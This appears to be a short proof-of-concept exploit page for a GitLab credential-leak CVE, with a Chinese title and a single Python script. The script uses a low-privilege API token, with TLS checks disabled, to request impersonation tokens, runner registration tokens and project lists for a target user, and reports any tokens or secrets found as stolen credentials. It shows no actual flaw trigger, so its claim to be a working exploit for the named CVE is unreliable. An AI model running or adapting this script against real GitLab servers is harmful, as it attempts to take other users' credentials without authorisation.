CVE-2024-9183 GitLab高权限用户凭证泄露漏洞

# CVE-2024-9183 PoC - GitLab Credential Leak # This PoC demonstrates the credential leakage vulnerability in GitLab import requests import json import sys GITLAB_URL = "https://gitlab.example.com" ATTACKER_TOKEN = "your_low_privilege_token" TARGET_USER_ID = "high_privilege_user_id" def exploit_credential_leak(): """ Exploit GitLab CVE-2024-9183 to obtain credentials from high-privilege users """ headers = { "PRIVATE-TOKEN": ATTACKER_TOKEN, "Content-Type": "application/json" } # Step 1: Enumerate vulnerable endpoint vulnerable_endpoints = [ f"{GITLAB_URL}/api/v4/users/{TARGET_USER_ID}/impersonation_tokens", f"{GITLAB_URL}/api/v4/users/{TARGET_USER_ID}/runner_registration_tokens", f"{GITLAB_URL}/api/v4/projects?membership=true" ] for endpoint in vulnerable_endpoints: try: response = requests.get(endpoint, headers=headers, verify=False, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Found accessible endpoint: {endpoint}") print(f"[+] Data: {json.dumps(data, indent=2)}") # Step 2: Extract sensitive credentials if "token" in str(data).lower() or "secret" in str(data).lower(): print("[!] Credential leak detected!") return data except requests.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": print("CVE-2024-9183 GitLab Credential Leak Exploit") print("Target: GitLab CE/EE < 18.6.1") result = exploit_credential_leak() if result: print("\n[+] Exploit successful - Credentials obtained") else: print("\n[-] Exploit failed - No vulnerable endpoint found")